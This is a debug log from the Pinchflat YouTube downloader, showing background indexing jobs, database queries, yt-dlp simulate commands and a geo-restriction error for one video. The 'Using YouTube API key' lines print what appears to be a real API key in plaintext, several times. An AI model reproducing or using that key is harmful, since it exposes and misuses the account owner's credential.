{"args":{"id":11},"id":3799926,"meta":{},"system_time":1770762393183787518,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:33.184 [debug] QUERY OK source="sources" db=0.1ms idle=66.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:26:33.184 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.184 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:33.184 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.184 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:26:33.184 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.184 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:33.270 [debug] QUERY OK source="media_items" db=0.7ms idle=85.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 16:26:33.272 [debug] QUERY OK source="media_items" db=1.1ms idle=86.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:26:33.273 [debug] QUERY OK source="tasks" db=0.1ms idle=88.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799964, 11, ~U[2026-02-10 22:26:33Z], ~U[2026-02-10 22:26:33Z]] 16:26:33.273 [info] {"args":{"id":11},"id":3799926,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89271,"event":"job:stop","queue_time":638833,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:33.403 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0e/04/0e04d00f46d2e58163515e8a3f8c57eecfc6b95b1acd3c6207359fec6af0d5d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:26:33.404 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:26:33.404 [debug] QUERY OK source="settings" db=0.2ms idle=131.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.404 [debug] QUERY OK source="settings" db=0.1ms idle=131.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.404 [debug] Running yt-dlp command for action: get_media_attributes 16:26:33.429 [debug] QUERY OK source="settings" db=0.2ms idle=156.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.429 [debug] QUERY OK source="settings" db=0.1ms idle=156.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.429 [debug] QUERY OK source="settings" db=0.0ms idle=150.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.429 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/33/3d/333d5e1282573db329fd38e22ac5de710a3a2f12543fe9352468f912269dd034.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:26:33.957 [info] {"args":{"id":27},"id":3799927,"meta":{},"system_time":1770762393957043584,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:33.957 [debug] QUERY OK source="sources" db=0.2ms idle=527.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:26:33.957 [debug] QUERY OK source="settings" db=0.1ms idle=527.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.958 [debug] QUERY OK source="media_profiles" db=0.1ms idle=528.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:33.958 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.958 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:26:33.958 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:33.958 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:34.082 [debug] QUERY OK source="media_items" db=0.6ms idle=124.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 16:26:34.083 [debug] QUERY OK source="media_items" db=0.7ms idle=125.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:26:34.084 [debug] QUERY OK source="tasks" db=0.1ms idle=126.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799965, 27, ~U[2026-02-10 22:26:34Z], ~U[2026-02-10 22:26:34Z]] 16:26:34.084 [info] {"args":{"id":27},"id":3799927,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":127571,"event":"job:stop","queue_time":519225,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:34.090 [info] {"args":{"id":28},"id":3799928,"meta":{},"system_time":1770762394090779127,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:26:34.091 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:26:34.091 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.091 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:26:34.091 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.091 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:26:34.091 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:34.091 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:26:34.177 [debug] QUERY OK source="media_items" db=0.8ms idle=85.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 16:26:34.178 [debug] QUERY OK source="media_items" db=0.3ms idle=87.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 